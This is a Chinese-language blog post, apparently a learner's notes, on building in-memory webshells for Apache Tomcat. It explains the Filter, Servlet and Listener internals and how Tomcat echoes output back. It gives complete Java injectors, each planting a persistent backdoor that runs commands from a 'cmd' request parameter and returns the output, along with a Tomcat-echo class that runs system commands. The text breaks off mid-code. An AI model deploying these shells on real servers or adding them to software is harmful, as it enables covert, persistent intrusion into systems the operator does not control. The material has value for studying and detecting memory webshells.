参考:
一、简述 目前安全行业主要讨论的内存马主要分为以下几种方式:
动态注册 servlet/filter/listener(使用 servlet-api 的具体实现)
动态注册 interceptor/controller(使用框架如 spring/struts2)
动态注册使用职责链 设计模式的中间件、框架的实现(例如 Tomcat 的 Pipeline & Valve,Grizzly 的 FilterChain & Filter 等等)
使用 java agent 技术写入字节码
Servlet API 提供的动态注册机制
Servlet
、Listener
、Filter
由 javax.servlet.ServletContext
去加载,无论是使用 xml 配置文件还是使用 Annotation 注解配置,均由 Web 容器进行初始化,读取其中的配置属性,然后向容器中进行注册。
Servlet
3.0 API
允许使 ServletContext
用动态进行注册,在 Web 容器初始化的时候(即建立ServletContext
对象的时候)进行动态注册。可以看到 ServletContext
提供了 add*/create* 方法来实现动态注册的功能。
Servlet :在用户请求路径与处理类映射之处,添加一个指定路径的指定处理类;
Filter:在用户处理类之前的,用来对请求进行额外处理提供额外功能的类;
Listener:在 Filter 之外的监听进程。
二、Filter 内存马原理分析 Tomcat 内存马学习(一):Filter型 – 天下大木头 (wjlshare.com) (Filter流程写的相对比较清楚,讲的挺细)
查杀Java web filter型内存马 | 回忆飘如雪 (gv7.me)
Tomcat-Filter型内存马 - Longlone’s Blog
知识点归纳
Filter 我们称之为过滤器,是 Java 中最常见也最实用的技术之一,通常被用来处理静态 web 资源、访问权限控制、记录日志等附加功能等等。一次请求进入到服务器后,将先由 Filter 对用户请求进行预处理,再交给 Servlet。
通常情况下,Filter 配置在配置文件和注解中,在其他代码中如果想要完成注册,主要有以下几种方式:
1 2 3 1. 使用 ServletContext 的 addFilter/createFilter 方法注册; 2. 使用 ServletContextListener 的 contextInitialized 方法在服务器启动时注册(将会在 Listener 中进行描述); 3. 使用 ServletContainerInitializer 的 onStartup 方法在初始化时注册(非动态,后面会描述)。
本节只讨论使用 ServletContext
添加 Filter 内存马的方法。首先来看一下 createFilter
方法,按照注释,这个类用来在调用 addFilter
向 ServletContext
实例化一个指定的 Filter 类。
阅读上面的说明,这个类还约定了一个事情,那就是如果这个 ServletContext
传递给 ServletContextListener
的 ServletContextListener.contextInitialized
方法,该方法既未在 web.xml
或 web-fragment.xml
中声明,也未使用 javax.servlet.annotation.WebListener
进行注释,则会抛出 UnsupportedOperationException
异常,这个约定其实是非常重要的一点。
接下来看 addFilter
方法,ServletContext
中有三个重载方法,分别接收字符串类型的 filterName
以及 Filter 对象/className
字符串/Filter 子类的 Class 对象,提供不同场景下添加 filter 的功能,这些方法均返回 FilterRegistration.Dynamic
实际上就是 FilterRegistration
对象。
addFilter
方法实际上就是动态添加 filter 的最核心和关键的方法,但是这个类中同样约定了 UnsupportedOperationException
异常。
由于 Servlet
API
只是提供接口定义,具体的实现还要看具体的容器,那我们首先以 Tomcat 7.0.96 为例,看一下具体的实现细节。相关实现方法在 org.apache.catalina.core.ApplicationContext#addFilter
中。
可以看到,这个方法创建了一个 FilterDef
对象,将 filterName
、filterClass
、filter 对象初始化进去,使用 StandardContext
的 addFilterDef
方法将创建的 FilterDef
储存在了 StandardContext
中的一个 Hashmap filterDefs
中,然后 new 了一个 ApplicationFilterRegistration
对象并且返回,并没有将这个 Filter 放到 FilterChain
中,单纯调用这个方法不会完成自定义 Filter 的注册。并且这个方法判断了一个状态标记,如果程序以及处于运行状态中,则不能添加 Filter。
这时我们肯定要想,能不能直接操纵 FilterChain
呢?FilterChain
在 Tomcat 中的实现是 org.apache.catalina.core.ApplicationFilterChain
,这个类提供了一个 addFilter
方法添加 Filter,这个方法接受一个 ApplicationFilterConfig
对象,将其放在 this.filters
中。答案是可以,但是没用,因为对于每次请求需要执行的 FilterChain
都是动态取得的。
那Tomcat 是如何处理一次请求对应的 FilterChain
的呢?在 ApplicationFilterFactory
的 createFilterChain
方法中,可以看到流程如下:
在 context 中获取 filterMaps
,并遍历匹配 url 地址和请求是否匹配;
如果匹配则在 context 中根据 filterMaps
中的 filterName
查找对应的 filterConfig
;
如果获取到 filterConfig,则将其加入到 filterChain 中
后续将会循环 filterChain 中的全部 filterConfig,通过 getFilter
方法获取 Filter 并执行 Filter 的 doFilter
方法。
通过上述流程可以知道,每次请求的 FilterChain
是动态匹配获取和生成的,如果想添加一个 Filter ,需要在 StandardContext
中 filterMaps
中添加 FilterMap
,在 filterConfigs
中添加 ApplicationFilterConfig
。这样程序创建时就可以找到添加的 Filter 了。
在之前的 ApplicationContext
的 addFilter
中将 filter 初始化存储在了 StandardContext
的 filterDefs
中,那后面又是如何添加在其他参数中的呢?
在 StandardContext
的 filterStart
方法中生成了 filterConfigs
。
在 ApplicationFilterRegistration
的 addMappingForUrlPatterns
中生成了 filterMaps
。
而这两者的信息都是从 filterDefs
中的对象获取的。
在应用程序中动态的添加一个 filter 的思路:
调用 ApplicationContext 的 addFilter 方法创建 filterDefs 对象,需要反射修改应用程序的运行状态 ,加完之后再改回来;
调用 StandardContext 的 filterStart 方法生成 filterConfigs;
调用 ApplicationFilterRegistration 的 addMappingForUrlPatterns 生成 filterMaps;
为了兼容某些特殊情况,将我们加入的 filter 放在 filterMaps 的第一位,可以自己修改 HashMap 中的顺序,也可以在自己调用 StandardContext 的 addFilterMapBefore 直接加在 filterMaps 的第一位 。
总结一下
过程中遇到的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息 FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息 FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter WebXml:存放 web.xml 中内容的类 ContextConfig:Web应用的上下文配置类 StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
流程
大概写个内存马 先简单理理思路 在了解了上述逻辑后,在应用程序中动态的添加一个 filter 的思路就清晰了:
调用 ApplicationContext
的 addFilter
方法创建 filterDefs
对象,需要反射修改应用程序的运行状态,加完之后再改回来;
调用 StandardContext
的 filterStart
方法生成 filterConfigs
;
调用 ApplicationFilterRegistration
的 addMappingForUrlPatterns
生成 filterMaps
;
为了兼容某些特殊情况,将我们加入的 filter
放在 filterMaps
的第一位,可以自己修改 HashMap
中的顺序,也可以在自己调用 StandardContext
的 addFilterMapBefore
直接加在 filterMaps
的第一位。
换一种解释
根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法
可以去看其他师傅写的好的,自己修改修改
su18师傅写的,做的是访问后使index页面的id+3
项目地址
胡师傅写的
JavaMemShellLearn/MemFilter.java at main · AmTrain-Ricky/JavaMemShellLearn (github.com)
自己写的
先科普一下Filter建法
自定义 filter(基本上需要的内容)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import javax.servlet.*;import java.io.IOException;public class filterDemo implements Filter { public void init (FilterConfig filterConfig) throws ServletException { System.out.println("Filter 初始化创建" ); } public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("执行过滤操作" ); filterChain.doFilter(servletRequest,servletResponse); } public void destroy () {} }
不做过多解释,都能看懂
然后在web.xml
中注册我们的filter,这里我们设置url-pattern为 我们的项目地址才行,这里因为用了servlet来加载(我这么理解),所以可以写servlet标签就行,要写filter标签也行,这里大概给个范例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?xml version="1.0" encoding="UTF-8" ?> <web-app xmlns ="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version ="4.0" > <filter > <filter-name > KoishiAddTomcatFilter</filter-name > <filter-class > com.tomcat.memshell.Filter.KoishiMemFilter</filter-class > </filter > <filter-mapping > <filter-name > KoishiAddTomcatFilter</filter-name > <url-pattern > /koishiFilter</url-pattern > </filter-mapping > <servlet > <servlet-name > KoishiAddTomcatFilter</servlet-name > <servlet-class > com.tomcat.memshell.Filter.KoishiMemFilter</servlet-class > </servlet > <servlet-mapping > <servlet-name > KoishiAddTomcatFilter</servlet-name > <url-pattern > /koishiFilter</url-pattern > </servlet-mapping > </web-app >
正式开始 思路
先拿到 context
创建一个恶意 Filter
利用 FilterDef 对 Filter 进行一个封装
将 FilterDef 添加到 FilterDefs 和 FilterConfig
创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启
前面说到当组装我们的过滤器链的时候 ,是从context中获取到的 FiltersMaps,所以先拿到 context
当我们能直接获取 request 的时候,我们这里可以直接使用如下方法
(当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用)
1 2 3 4 5 6 7 8 9 10 ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); // ApplicationContext 为 ServletContext 的实现类 ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); // 这样我们就获取到了 context StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
如果没有request对象的话可以从当前线程中获取
https://zhuanlan.zhihu.com/p/114625962
从MBean中获取
https://scriptboy.cn/p/tomcat-filter-inject/
Filter 内存马
Filter实现doFilter
恶意方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 package com.tomcat.memshell.Filter;import com.tomcat.util.ClassUtil;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.tomcat.util.descriptor.web.FilterDef;import org.apache.tomcat.util.descriptor.web.FilterMap;import javax.servlet.*;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;public class KoishiMemFilter extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String filterName = "koishi" ; ServletContext servletContext = req.getSession().getServletContext(); if (servletContext.getFilterRegistration(filterName) == null ) { try { Field contextField = servletContext.getClass().getDeclaredField("context" ); contextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext); Field applicationField = applicationContext.getClass().getDeclaredField("context" ); applicationField.setAccessible(true ); StandardContext standardContext = (StandardContext) applicationField.get(applicationContext); Filter filter = new Filter () { @Override public void init (FilterConfig filterConfig) throws ServletException { } @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd" ) != null ){ byte [] bytes = new byte [1024 ]; Process process = new ProcessBuilder (req.getParameter("cmd" )).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String (bytes,0 ,len)); process.destroy(); return ; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy () { } }; FilterDef filterDef = new FilterDef (); filterDef.setFilterName(filterName); filterDef.setFilter(filter); filterDef.setFilterClass(filter.getClass().getName()); Constructor<?>[] constructor = ApplicationFilterConfig.class.getDeclaredConstructors(); constructor[0 ].setAccessible(true ); ApplicationFilterConfig config = (ApplicationFilterConfig) constructor[0 ].newInstance(standardContext, filterDef); FilterMap filterMap = new FilterMap (); filterMap.setFilterName(filterName); filterMap.addURLPattern("*" ); filterMap.setDispatcher(DispatcherType.REQUEST.name()); Field configfield = standardContext.getClass().getDeclaredField("filterConfigs" ); configfield.setAccessible(true ); HashMap<String, ApplicationFilterConfig> filterConfigs = (HashMap<String, ApplicationFilterConfig>) configfield.get(standardContext); filterConfigs.put(filterName, config); standardContext.addFilterDef(filterDef); standardContext.addFilterMapBefore(filterMap); resp.getOutputStream().write("inject success !恭喜" .getBytes()); resp.getOutputStream().flush(); resp.getOutputStream().close(); }catch (Exception e){ e.printStackTrace(); } } } public void init (FilterConfig filterConfig) throws ServletException { System.out.println("Filter 初始化创建" ); } public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("执行过滤操作" ); filterChain.doFilter(servletRequest,servletResponse); } public void destroy () {} }
三、Servlet 内存马 知识点 可以参考的文章(个人感觉讲的相当nice)
Servlet 是 Server Applet(服务器端小程序)的缩写,用来读取客户端发送的数据,处理并返回结果。也是最常见的 Java 技术之一。
与 Filter 相同,本小节也仅仅讨论使用 ServletContext 的相关方法添加 Servlet。还是首先来看一下实现类 ApplicationContext
的 addServlet
方法。
与上一小节看到的 addFilter
方法十分类似,这个过程简单一点,只有两部走:
ApplicationServletRegistration
的 addMapping
方法调用 StandardContext#addServletMapping
方法,在 mapper 中添加 URL 路径与 Wrapper 对象的映射(Wrapper 通过 this.children 中根据 name 获取)
同时在 servletMappings
中添加 URL 路径与 name 的映射。
简单记录一下Servlet的周期 Servlet的生成与动态添加 Servlet的生成与动态添加依次进行了以下步骤(详情见参考文章):
通过 context.createWapper() 创建 Wapper 对象;
设置 Servlet 的 LoadOnStartUp 的值;
设置 Servlet 的 Name;
设置 Servlet 对应的 Class;
将 Servlet 添加到 context 的 children 中;
将 url 路径和 servlet 类做映射。
Servlet 装载过程 在 org.apache.catalina.coreStandardWapper#loadServlet()
下断点调试:
回溯到 org.apache.catalina.core.StandardContext#startInternal
方法中可以看到,是在加载完Listener和Filter之后,才装载Servlet:
前面已经完成了将所有 servlet 添加到 context 的 children 中,this.findChildren()即把所有Wapper(负责管理Servlet)传入loadOnStartup()中处理,可想而知loadOnStartup()就是负责动态添加Servlet的一个函数:
首先获取Context下所有的Wapper类,并获取到每个Servlet的启动顺序,删选出 >= 0 的项加载到一个存放Wapper的list中。
如果在web.xml 中servlet未声明 load-on-startup 的值,则默认-1,表示不加载
1 <load-on-startup>1</load-on-startup>
则该Servlet不会被动态添加到容器:
然后对每个wapper进行装载:
装载:启动服务器时加载Servlet的实例
初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成
调用:即每次调用Servlet的service(),从第一次到以后的多次访问,都是只是调用doGet()或doPost()方法(doGet、doPost内部实现,具体参照HttpServlet类service()的重写)(和之前filter写dofilter是一样的目的)
销毁:停止服务器时调用destroy()方法,销毁实例
因此severlet内存马的构建思路差不多就有了
context 中获取StandardContext 对象
使用 Wrapper 封装我们的 Servlet
向 standardContext 的 children 中添加我们封装好的 wrapper
正式书写内存马 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 package com.tomcat.memshell.Servlet;import com.tomcat.util.ClassUtil;import org.apache.catalina.Wrapper;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import javax.servlet.*;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Field;import java.util.Scanner;public class KoishiMemServlet extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { String urlPattern = "/koishi" ; String servletName = "cirno" ; ServletContext servletContext = req.getSession().getServletContext(); if (servletContext.getServletRegistration(servletName) == null ) { Field servletfield = servletContext.getClass().getDeclaredField("context" ); servletfield.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) servletfield.get(servletContext); Field contextfield = applicationContext.getClass().getDeclaredField("context" ); contextfield.setAccessible(true ); StandardContext standardContext = (StandardContext) contextfield.get(applicationContext); Servlet servlet = new Servlet () { @Override public void init (ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd" ); boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , cmd} : new String []{"cmd.exe" , "/c" , cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\a" ); String output = s.hasNext() ? s.next() : "" ; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } }; Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1 ); wrapper.setName(servletName); wrapper.setServlet(servlet); wrapper.setServletClass(servlet.getClass().getName()); standardContext.addChild(wrapper); standardContext.addServletMapping(urlPattern, servletName); PrintWriter writer = resp.getWriter(); writer.println("inject KoishiMemServlet success !" ); } }catch (Exception e){ e.printStackTrace(); } } }
四、Listener内存马 知识 请求网站的时候, 程序先执行listener监听器的内容:Listener -> Filter -> Servlet
在应用中可能调用的监听器如下:
ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
ServletRequestListener:对 Request 请求进行监听(创建、销毁)
ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听
在 ServletRequestListener 接口中,提供两个方法:requestInitialized
和 requestDestroyed
,两个方法均接收 ServletRequestEvent 作为参数,ServletRequestEvent 中又储存了 ServletContext 对象和 ServletRequest 对象,因此在访问请求过程中我们可以在 request 创建和销毁时实现自己的恶意代码,完成内存马的实现。 从中还可以获取到 StandardContext 对象,也就是可以在Listener的基础上添加动态FIlter。
Tomcat 中 EventListeners 存放在 StandardContext 的 applicationEventListenersObjects 属性中,同样可以使用 StandardContext 的相关 add 方法添加。
除了 EventListener,Tomcat 还存在了 LifecycleListener。但是用起来一定是不如 ServletRequestListener。 因为实现了LifecycleListener
接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马 。
(也就是说,Listener内存马大多数都是使用的他的 requestDestroyed 方法来保存我们的恶意代码,这样能确保被解析了)
内存马代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 package com.tomcat.memshell.Listener;import com.tomcat.util.ClassUtil;import org.apache.catalina.connector.Request;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import javax.servlet.*;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Field;import java.util.Scanner;public class KoishiMemListener extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { ServletContext servletContext = req.getSession().getServletContext(); Field servletfield = servletContext.getClass().getDeclaredField("context" ); servletfield.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) servletfield.get(servletContext); Field contextfield = applicationContext.getClass().getDeclaredField("context" ); contextfield.setAccessible(true ); StandardContext standardContext = (StandardContext) contextfield.get(applicationContext); MyListener listener = new MyListener (); standardContext.addApplicationEventListener(listener); PrintWriter writer = resp.getWriter(); writer.println("inject KoishiMemListener success !" ); }catch (Exception e){ e.printStackTrace(); } } public class MyListener implements ServletRequestListener { public void requestDestroyed (ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); if (req.getParameter("cmd" ) != null ){ InputStream in = null ; try { in = Runtime.getRuntime().exec(new String []{"cmd.exe" ,"/c" ,req.getParameter("cmd" )}).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String out = s.hasNext()?s.next():"" ; Field requestF = req.getClass().getDeclaredField("request" ); requestF.setAccessible(true ); Request request = (Request)requestF.get(req); request.getResponse().getWriter().write(out); request.getResponse().getWriter().flush(); request.getResponse().getWriter().close(); } catch (IOException e) {} catch (NoSuchFieldException e) {} catch (IllegalAccessException e) {} } } public void requestInitialized (ServletRequestEvent sre) {} } }
五、Tomcat 回显马 tomcat马构造基础 Java安全之基于Tomcat实现内存马 - nice_0e3 - 博客园 (cnblogs.com)
本段参考:
文章一: Java安全之反序列化回显与内存马 - nice_0e3 - 博客园 (cnblogs.com)
文章二:Tomcat通用回显学习 - akka1 - 博客园 (cnblogs.com)
通用回显
按照我个人的理解来说其实只要能拿到Request
和Response
对象即可进行回显的构造,当然这也是众多方式的一种。也是目前用的较多的方式。比如在Tomcat 全局存储的Request
和Response
对象,进行获取后则可以在tomcat这个容器下进行回显。而某些漏洞的方式会从漏洞的位置去寻找存储Request
和Response
对象的地方。
基于全局储存的新思路 | Tomcat的一种通用回显方法研究
说明在Tomcat启动的时候会调用该位置的 dorun 方法
大致思路
获取到Http11Processor
对象即可获取到Request
,Response
, Http11Processor
继承AbstractProcessor
类。
而AbstractProcessor
类中可见有Request
,Response
这两对象。 AbstractProcessor
调用this.register
将前面创建的Http11Processor
对象进行传递。 随后调用processor.getRequest().getRequestProcessor()
获取RequestInfo
。
调用获取到的RequestInfo
,这里为rp
。rp的setGlobalProcessor
将global进行传递,而setGlobalProcessor
方法里面会调用global.addRequestProcessor
将rp添加进去。
再往后需要寻找存储AbstractProtocol
类或继承AbstractProtocol
类的子类。这里寻找到的是Connector
成员变量中为protocolHandler
属性的值,而 Http11AprProtocol
类实现了该接口。
在Tomcat启动过程中会将Connector放入Service中。
StandardContext 中有我们需要的 service。
最后调用链为
(前面几步通过 currentThread
最终获取StandardContext
, 因为我的tomcat版本问题,我改用了反射获取的方式)
1 WebappClassLoaderBase--->ApplicationContext(getResources().getContext())--->StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo--->Request--->Response
tomcat马通用回显马: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 package com.tomcat.memshell.Tomcat;import org.apache.catalina.Context;import org.apache.catalina.Service;import org.apache.catalina.connector.Connector;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardService;import org.apache.coyote.AbstractProtocol;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import org.apache.coyote.Response;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Modifier;import java.util.ArrayList;@WebServlet("/demo") public class TomcatEcho_General extends HttpServlet { protected void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { ServletContext servletContext = request.getSession().getServletContext(); Field servletfield = servletContext.getClass().getDeclaredField("context" ); servletfield.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) servletfield.get(servletContext); Field contextfield = applicationContext.getClass().getDeclaredField("context" ); contextfield.setAccessible(true ); StandardContext standardContext = (StandardContext) contextfield.get(applicationContext); Field context = Class.forName("org.apache.catalina.core.StandardContext" ).getDeclaredField("context" ); context.setAccessible(true ); ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext); Field service = Class.forName("org.apache.catalina.core.ApplicationContext" ).getDeclaredField("service" ); service.setAccessible(true ); StandardService standardService = (StandardService)service.get(ApplicationContext); Field connectors = Class.forName("org.apache.catalina.core.StandardService" ).getDeclaredField("connectors" ); connectors.setAccessible(true ); Connector[] connector = (Connector[])connectors.get(standardService); Class<?>[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol" ).getDeclaredClasses(); for (Class<?> aClass : AbstractProtocol_list) { if (aClass.getName().length()==52 ){ java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler" ,null ); getHandlerMethod.setAccessible(true ); Field globalField = aClass.getDeclaredField("global" ); globalField.setAccessible(true ); Field processors = Class.forName("org.apache.coyote.RequestGroupInfo" ).getDeclaredField("processors" ); processors.setAccessible(true ); org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0 ].getProtocolHandler(), null )); java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo); Field req = Class.forName("org.apache.coyote.RequestInfo" ).getDeclaredField("req" ); req.setAccessible(true ); for (RequestInfo requestInfo : RequestInfo_list) { org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo); org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1 ); org.apache.catalina.connector.Response response2 = request2.getResponse(); response2.getWriter().write("TomcatEcho_General Injection success !" ); InputStream whoami = Runtime.getRuntime().exec("calc" ).getInputStream(); BufferedInputStream bis = new BufferedInputStream (whoami); int b ; while ((b = bis.read())!=-1 ){ response2.getWriter().write(b); } } } } } catch (Exception e) { e.printStackTrace(); } } protected void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this .doPost(request, response); } public static Object getObj (Object obj, String attr) { try { Field f = obj.getClass().getDeclaredField(attr); f.setAccessible(true ); return f.get(obj); } catch (Exception e) { e.printStackTrace(); } return null ; } }
文章二的大佬还提供了另一个可以在 7,8,9 中均可使用的链子(以下是他说的上面的链子在 8 中会有小小的版本限制,在7中又缺失context的话)
tomcat 8 的小版本有限制主要原因是
原因是Tomcat7
获取到的WebappClassLoaderBase
中没有context属性,所以会利用失败)
tomcat 8 版本小问题确实存在,我上面也说了,我也遇到了。这个7这个base中不存在context属性。这俩在我看来的解决办法就是我上面提到的,使用 getSession
反射的方式来获取。当然,这个师傅也提供了他的解决思路,具体如下,我们也可以看看。
马2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 package com.tomcat.memshell.Tomcat;import org.apache.coyote.*;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.Writer;import java.lang.reflect.Field;import java.util.ArrayList;@WebServlet(name = "Tomcat7Servlet", value = "/Tomcat7Servlet") public class TomcatEcho_General_789 extends HttpServlet { @Override protected void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { boolean flag=false ; try { Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads" ); for (int i=0 ;i< threads.length;i++){ Thread thread=threads[i]; String threadName=thread.getName(); try { Object target= getField(thread,"target" ); Object this0=getField(target,"this$0" ); Object handler=getField(this0,"handler" ); Object global=getField(handler,"global" ); ArrayList processors=(ArrayList) getField(global,"processors" ); for (int j = 0 ; j < processors.size(); j++) { RequestInfo requestInfo = (RequestInfo) processors.get(j); if (requestInfo!=null ){ Request req=(Request) getField(requestInfo,"req" ); org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) req.getNote(1 ); org.apache.catalina.connector.Response response1 = request1.getResponse(); Writer writer=response.getWriter(); writer.flush(); writer.write("TomcatEcho789" ); flag=true ; if 